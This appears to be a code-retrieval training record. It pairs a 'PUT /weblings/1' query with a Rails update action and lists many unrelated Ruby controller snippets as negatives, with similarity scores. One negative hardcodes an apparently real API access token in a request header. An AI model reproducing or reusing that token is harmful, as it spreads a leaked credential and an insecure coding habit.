+ RUNKEEPER_ACCESS_TOKEN\n request[\"Content-Type\"] = \"application/vnd.com.runkeeper.NewSleep+json\"\n request.body = json_hash.to_json\n \n response = http.request(request)\n \n puts response.body\n \n end\n \n @sleep = json_hash\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sleep }\n end\n \n end",
"def create\n @wine = Wine.new(wine_params)\n\n respond_to do |format|\n if @wine.save\n format.html { redirect_to @wine, notice: 'Wine was successfully created.' }\n format.json { render :show, status: :created, location: @wine }\n else\n format.html { render :new }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @waldo = Waldo.new(waldo_params)\n\n respond_to do |format|\n if @waldo.save\n format.html { redirect_to @waldo, notice: 'Waldo was successfully created.' }\n format.json { render :show, status: :created, location: @waldo }\n else\n format.html { render :new }\n format.json { render json: @waldo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @webmark = Webmark.new(webmark_params)\n\n respond_to do |format|\n if @webmark.save\n format.html { redirect_to @webmark, notice: 'Webmark was successfully created.' }\n format.json { render :show, status: :created, location: @webmark }\n else\n format.html { render :new }\n format.json { render json: @webmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training = @runner.trainings.new(training_params)\n @training.time = set_time(training_params) #calculate the total amount of seconds with hours, minutes and seconds\n respond_to do |format|\n if @training.save\n if @training.shoe\n @training.shoe.add_kms(@training.kms)\n end\n format.html { redirect_to runner_trainings_path, notice: '¡Entrenamiento creado!' }\n format.json { render action: 'show', status: :created, location: @training } #Esto hay que cambiarlo creo\n else\n format.html { render action: 'new' }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n #format.js #Para el formulario de Nuevo Entrenamiento en el Show de Runner\n end\n end",
"def create\n @hoge = Hoge.new(params[:hoge])\n\n respond_to do |format|\n if @hoge.save\n format.html { redirect_to @hoge, notice: 'Hoge was successfully created.' }\n format.json { render json: @hoge, status: :created, location: @hoge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rink_league = RinkLeague.new(params[:rink_league])\n\n respond_to do |format|\n if @rink_league.save\n format.html { redirect_to @rink_league, notice: 'Rink league was successfully created.' }\n format.json { render json: @rink_league, status: :created, location: @rink_league }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rink_league.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @swot = Swot.new(swot_params)\n\n respond_to do |format|\n if @swot.save\n format.html { redirect_to @swot, notice: 'Swot was successfully created.' }\n format.json { render :show, status: :created, location: @swot }\n else\n format.html { render :new }\n format.json { render json: @swot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def web_params\n params.require(:web).permit(:url, :url_ver_sts, :sts_code, :url_ver_date, :tmp_sts, :temp_name, :tmp_date, :slink_sts, :llink_sts, :stext_sts, :ltext_sts, :pge_date, :as_sts, :as_date, :cs_sts, :cs_date, :created_at, :updated_at)\n end",
"def create\n @wk = Wk.new(wk_params)\n\n respond_to do |format|\n if @wk.save\n format.html { redirect_to @wk, notice: 'Wk was successfully created.' }\n format.json { render :show, status: :created, location: @wk }\n else\n format.html { render :new }\n format.json { render json: @wk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end",
"def create\n @sklad = Sklad.new(params[:sklad])\n\n respond_to do |format|\n if @sklad.save\n format.html { redirect_to @sklad, notice: 'Sklad was successfully created.' }\n format.json { render json: @sklad, status: :created, location: @sklad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sklad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @watson = Watson.new(watson_params)\n\n respond_to do |format|\n if @watson.save\n format.html { redirect_to @watson, notice: 'Watson was successfully created.' }\n format.json { render :show, status: :created, location: @watson }\n else\n format.html { render :new }\n format.json { render json: @watson.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def create\n @twentyeight = Twentyeight.new(twentyeight_params)\n\n respond_to do |format|\n if @twentyeight.save\n format.html { redirect_to @twentyeight, notice: 'Twentyeight was successfully created.' }\n format.json { render action: 'show', status: :created, location: @twentyeight }\n else\n format.html { render action: 'new' }\n format.json { render json: @twentyeight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n streak, success = jsonapi_create.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"def create\n @leisure = Leisure.new(leisure_params)\n\n respond_to do |format|\n if @leisure.save\n format.html { redirect_to @leisure, notice: 'Leisure was successfully created.' }\n format.json { render :show, status: :created, location: @leisure }\n else\n format.html { render :new }\n format.json { render json: @leisure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainee = Trainee.new(trainee_params)\n\n respond_to do |format|\n if @trainee.save\n format.html { redirect_to action: 'new', notice: 'Got it! Welcome to WCBN' }\n format.json { render :show, status: :created, location: @trainee }\n else\n format.html { render :new }\n format.json { render json: @trainee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wine_type = WineType.new(params[:wine_type])\n\n respond_to do |format|\n if @wine_type.save\n format.html { redirect_to @wine_type, notice: 'Wine type was successfully created.' }\n format.json { render json: @wine_type, status: :created, location: @wine_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wine_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plate = Plate.new(params[:plate])\n\n if @plate.save\n render json: @plate, status: :created, location: @plate\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def create\n @wizytum = Wizytum.new(wizytum_params)\n\n respond_to do |format|\n if @wizytum.save\n format.html { redirect_to @wizytum, notice: 'Wizytum was successfully created.' }\n format.json { render :show, status: :created, location: @wizytum }\n else\n format.html { render :new }\n format.json { render json: @wizytum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @webservicetolisten = Webservicetolisten.new(params[:webservicetolisten])\n\n respond_to do |format|\n if @webservicetolisten.save\n format.html { redirect_to @webservicetolisten, notice: 'Webservicetolisten was successfully created.' }\n format.json { render json: @webservicetolisten, status: :created, location: @webservicetolisten }\n else\n format.html { render action: \"new\" }\n format.json { render json: @webservicetolisten.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def create\n @favorite_web_thing = FavoriteWebThing.new(favorite_web_thing_params)\n\n respond_to do |format|\n if @favorite_web_thing.save\n format.html { redirect_to @favorite_web_thing, notice: 'Favorite web thing was successfully created.' }\n format.json { render action: 'show', status: :created, location: @favorite_web_thing }\n else\n format.html { render action: 'new' }\n format.json { render json: @favorite_web_thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end",
"def create\n @hustle = Hustle.new(\n user: current_user,\n name: params[:hustle][:name],\n created: Time.now,\n modified: Time.now\n )\n\n respond_to do |format|\n if @hustle.save\n format.html { redirect_to @hustle, notice: 'Hustle was successfully created.' }\n format.json { render :show, status: :created, location: @hustle }\n else\n format.html { render :new }\n format.json { render json: @hustle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @brite_rt_waxman = BriteRtWaxman.new(brite_rt_waxman_params)\n\n respond_to do |format|\n if @brite_rt_waxman.save\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end",
"def web_request\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\nend",
"def create\n @lientheme = Lientheme.new(lientheme_params)\n\n respond_to do |format|\n if @lientheme.save\n format.html { redirect_to lienthemes_url, notice: 'Lientheme was successfully created.' }\n format.json { render :show, status: :created, location: @lientheme }\n else\n format.html { render :new }\n format.json { render json: @lientheme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @source_web = SourceWeb.new(source_web_params)\n\n respond_to do |format|\n if @source_web.save\n format.html { redirect_to @source_web, notice: 'Source web was successfully created.' }\n format.json { render :show, status: :created, location: @source_web }\n else\n format.html { render :new }\n format.json { render json: @source_web.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6274967",
"0.60961795",
"0.6055117",
"0.6047243",
"0.6025532",
"0.60034996",
"0.6001525",
"0.5924261",
"0.5866066",
"0.5732944",
"0.5710705",
"0.57079506",
"0.5701069",
"0.56912",
"0.5686813",
"0.5679642",
"0.56581944",
"0.56307685",
"0.5613885",
"0.5591287",
"0.55865145",
"0.5576611",
"0.55764174",
"0.5569086",
"0.5564489",
"0.5544167",
"0.55243903",
"0.55238706",
"0.5523741",
"0.5513634",
"0.5490453",
"0.54847825",
"0.5483848",
"0.54835695",
"0.5482821",
"0.54813737",
"0.54771143",
"0.5472855",
"0.5472855",
"0.54727215",
"0.5467263",
"0.5464734",
"0.5454794",
"0.5447527",
"0.5447275",
"0.5443996",
"0.54420644",
"0.5433897",
"0.5432018",
"0.542596",
"0.5406823",
"0.539589",
"0.53953534",
"0.5395248",
"0.5382282",
"0.53778213",
"0.53605527",
"0.5352593",
"0.535161",
"0.5349286",
"0.53358",
"0.53210354",
"0.53201693",
"0.53184247",
"0.53182054",
"0.5317434",
"0.5314552",
"0.5313567",
"0.531105",
"0.5308593",
"0.53080326",
"0.53079987",
"0.5305241",
"0.5302191",
"0.5297959",
"0.52941185",
"0.5292224",
"0.52893716",
"0.5282457",
"0.5281859",
"0.52803636",
"0.5276333",
"0.5276257",
"0.527327",
"0.52653223",
"0.5264845",
"0.52648026",
"0.5263918",
"0.5252156",
"0.5251753",
"0.5247072",
"0.5245132",
"0.52367467",
"0.5235232",
"0.52337396",
"0.52323204",
"0.5230549",
"0.522725",
"0.52252465",
"0.5224145"
] |
0.6990544
|
0
|
PUT /weblings/1 PUT /weblings/1.json
|
def update
@webling = Webling.find(params[:id])
respond_to do |format|
if @webling.update_attributes(params[:webling])
format.html { redirect_to @webling, notice: 'Webling was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @webling.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @web = Web.find(params[:id])\n\n respond_to do |format|\n if @web.update_attributes(params[:web])\n format.html { redirect_to @web, notice: 'Web was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @web.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @web.update(web_params)\n format.html { redirect_to @web, notice: 'Web was successfully updated.' }\n format.json { render :show, status: :ok, location: @web }\n else\n format.html { render :edit }\n format.json { render json: @web.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @behatweb = Behatweb.find(params[:id])\n\n respond_to do |format|\n if @behatweb.update_attributes(params[:behatweb])\n format.html { redirect_to @behatweb, notice: 'Behatweb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @behatweb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @strategyweb = Strategyweb.find(params[:id])\n\n respond_to do |format|\n if @strategyweb.update_attributes(params[:strategyweb])\n format.html { redirect_to @strategyweb, notice: 'Strategyweb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @strategyweb = Strategyweb.find(params[:id])\n\n respond_to do |format|\n if @strategyweb.update_attributes(params[:strategyweb])\n format.html { redirect_to :action=>\"index\", notice: 'Strategyweb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @webtoon.update(webtoon_params)\n format.html { redirect_to @webtoon, notice: 'Webtoon was successfully updated.' }\n format.json { render :show, status: :ok, location: @webtoon }\n else\n format.html { render :edit }\n format.json { render json: @webtoon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wager = Wager.find(params[:id])\n\n if @wager.update(params[:wager])\n head :no_content\n else\n render json: @wager.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @favorite_web_thing.update(favorite_web_thing_params)\n format.html { redirect_to @favorite_web_thing, notice: 'Favorite web thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @favorite_web_thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wrestler = Wrestler.find(params[:id])\n\n respond_to do |format|\n if @wrestler.update_attributes(params[:wrestler])\n format.html { redirect_to(@wrestler, :notice => 'Wrestler was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wrestler.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @web_lock = WebLock.find(params[:id])\n\n respond_to do |format|\n if @web_lock.update_attributes(params[:web_lock])\n flash[:notice] = 'WebLock was successfully updated.'\n format.html { redirect_to(@web_lock) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @web_lock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @witch = Witch.find(params[:id])\n\n respond_to do |format|\n if @witch.update_attributes(params[:witch])\n format.html { redirect_to @witch, notice: 'Witch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @witch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wing.update(wing_params)\n @wing.floors.each { |f| f.touch }\n format.html { redirect_to @wing, notice: t('.update_ok', item: @wing.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_space_webapi(slug, body, headers=default_headers)\n @logger.info(\"Updating the \\\"#{slug}\\\" Web API on the Space.\")\n put(\"#{@api_url}/webApis/#{slug}\", body, headers)\n end",
"def update\n @wine = Wine.find(params[:id])\n\n respond_to do |format|\n if @wine.update_attributes(params[:wine])\n format.html { redirect_to @wine, notice: 'Wine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wrestler.update(wrestler_params)\n format.html { redirect_to @wrestler, notice: 'Wrestler was successfully updated.' }\n format.json { render :show, status: :ok, location: @wrestler }\n else\n format.html { render :edit }\n format.json { render json: @wrestler.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wine = Wine.find(params[:id])\n\n respond_to do |format|\n if @wine.update_attributes(params[:wine])\n format.html { redirect_to @wine, notice: 'Wine was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tower = Tower.find(params[:id])\n\n respond_to do |format|\n if @tower.update_attributes(params[:tower])\n format.html { redirect_to @tower, :notice => 'Tower was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tower.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @wod.update(wod_params)\n render json: @wod\n else\n render json: @wod.errors, status: :unprocessable_entity\n end\n end",
"def update\n @web_app = WebApp.find(params[:id])\n\n respond_to do |format|\n if @web_app.update_attributes(params[:web_app])\n format.html { redirect_to @web_app, notice: 'Web app was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @web_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @railway = Railway.find(params[:id])\n\n respond_to do |format|\n if @railway.update_attributes(params[:railway])\n format.html { redirect_to @railway, notice: 'Railway was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shuttle_run.update(shuttle_run_params)\n format.html { redirect_to @shuttle_run, notice: 'Shuttle run was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shuttle_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wellist = Wellist.find(params[:id])\n\n if @wellist.update(wellist_params)\n head :no_content\n else\n render json: @wellist.errors, status: :unprocessable_entity\n end\n end",
"def update\n put :update\n end",
"def update\n @wig = Wig.find(params[:id])\n\n respond_to do |format|\n if @wig.update_attributes(params[:wig])\n format.html { redirect_to @wig, notice: 'Wig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @webtier.update(webtier_params)\n format.html { redirect_to @webtier, notice: 'webtier was successfully updated.' }\n format.json { render :show, status: :ok, location: @webtier }\n else\n format.html { render :edit }\n format.json { render json: @webtier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @swot.update(swot_params)\n format.html { redirect_to @swot, notice: 'Swot was successfully updated.' }\n format.json { render :show, status: :ok, location: @swot }\n else\n format.html { render :edit }\n format.json { render json: @swot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @web_table.update(web_table_params)\n format.html { redirect_to @web_table, notice: 'Table was successfully updated.' }\n format.json { render :show, status: :ok, location: @web_table }\n else\n format.html { render :edit }\n format.json { render json: @web_table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n @webservicetolisten = Webservicetolisten.find(params[:id])\n\n respond_to do |format|\n if @webservicetolisten.update_attributes(params[:webservicetolisten])\n format.html { redirect_to @webservicetolisten, notice: 'Webservicetolisten was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @webservicetolisten.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hoge = Hoge.find(params[:id])\n\n respond_to do |format|\n if @hoge.update_attributes(params[:hoge])\n format.html { redirect_to @hoge, notice: 'Hoge was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @one = One.find(params[:id])\n\n respond_to do |format|\n if @one.update_attributes(params[:one])\n format.html { redirect_to @one, notice: 'One was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_update(options = {})\n options[:id] ||= @website.id\n options[:website] ||= @attributes\n\n put :update,options\n end",
"def update\n @stone = Stone.find(params[:id])\n\n respond_to do |format|\n if @stone.update_attributes(params[:stone])\n format.html { redirect_to @stone, notice: 'Stone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def update\n @one_time_stop = OneTimeStop.find(params[:id])\n\n respond_to do |format|\n if @one_time_stop.update_attributes(params[:one_time_stop])\n format.html { redirect_to @one_time_stop, notice: 'One time stop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one_time_stop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @bottle = Bottle.find(params[:id])\n\n respond_to do |format|\n if @bottle.update_attributes(params[:bottle])\n format.html { redirect_to(@bottle, :notice => 'Bottle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bottle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shot = Shot.find(params[:id])\n\n if @shot.update(shot_params)\n head :no_content\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end",
"def update\n @microplst = Microplst.find(params[:id])\n\n respond_to do |format|\n if @microplst.update_attributes(params[:microplst])\n format.html { redirect_to @microplst, notice: 'Microplst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microplst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update\n respond_to do |format|\n if @wine.update(wine_params)\n format.html { redirect_to @wine, notice: 'Wine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wing = Wing.find(params[:id])\n\n respond_to do |format|\n if @wing.update_attributes(params[:wing])\n format.html { redirect_to(@wing, :notice => 'Wing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @press = Press.find(params[:id])\n\n respond_to do |format|\n if @press.update_attributes(params[:press])\n format.html { redirect_to @press, notice: 'Press was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @press.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bottling = Bottling.find(params[:id])\n\n respond_to do |format|\n if @bottling.update_attributes(params[:bottling])\n format.html { redirect_to @bottling, notice: 'bottling was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bottling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kolegij = Kolegij.find(params[:id])\n\n respond_to do |format|\n if @kolegij.update_attributes(params[:kolegij])\n format.html { redirect_to @kolegij, notice: 'Kolegij was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kolegij.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @webling = Webling.new(params[:webling])\n\n respond_to do |format|\n if @webling.save\n format.html { redirect_to @webling, notice: 'Webling was successfully created.' }\n format.json { render json: @webling, status: :created, location: @webling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @webling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wing.update(wing_params)\n format.html { redirect_to @wing, notice: 'Wing was successfully updated.' }\n format.json { render :show, status: :ok, location: @wing }\n else\n format.html { render :edit }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n if @heli_kit.update_attributes(params[:heli_kit])\n format.html { redirect_to @heli_kit, notice: 'Heli kit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heli_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mostsmallroad = Mostsmallroad.find(params[:id])\n\n respond_to do |format|\n if @mostsmallroad.update_attributes(params[:mostsmallroad])\n format.html { redirect_to @mostsmallroad, notice: 'Mostsmallroad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mostsmallroad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end",
"def update\n @web_info = WebInfo.find(params[:id])\n\n respond_to do |format|\n if @web_info.update_attributes(params[:web_info])\n format.html { redirect_to(web_infos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @web_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @shot = Shot.find(params[:id])\n\n respond_to do |format|\n if @shot.update_attributes(params[:shot])\n format.html { redirect_to @shot, notice: 'Shot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"def update\n @wine_type = WineType.find(params[:id])\n\n respond_to do |format|\n if @wine_type.update_attributes(params[:wine_type])\n format.html { redirect_to @wine_type, notice: 'Wine type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wine_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @web_datas.update(web_datas_params)\n format.html { redirect_to @web_datas, notice: 'Web datas was successfully updated.' }\n format.json { render :show, status: :ok, location: @web_datas }\n else\n format.html { render :edit }\n format.json { render json: @web_datas.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pinglun = Pinglun.find(params[:id])\n\n respond_to do |format|\n if @pinglun.update_attributes(params[:pinglun])\n format.html { redirect_to @pinglun, notice: 'Pinglun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pinglun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @starred = args[:starred] if args.key?(:starred)\n @web_properties = args[:web_properties] if args.key?(:web_properties)\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
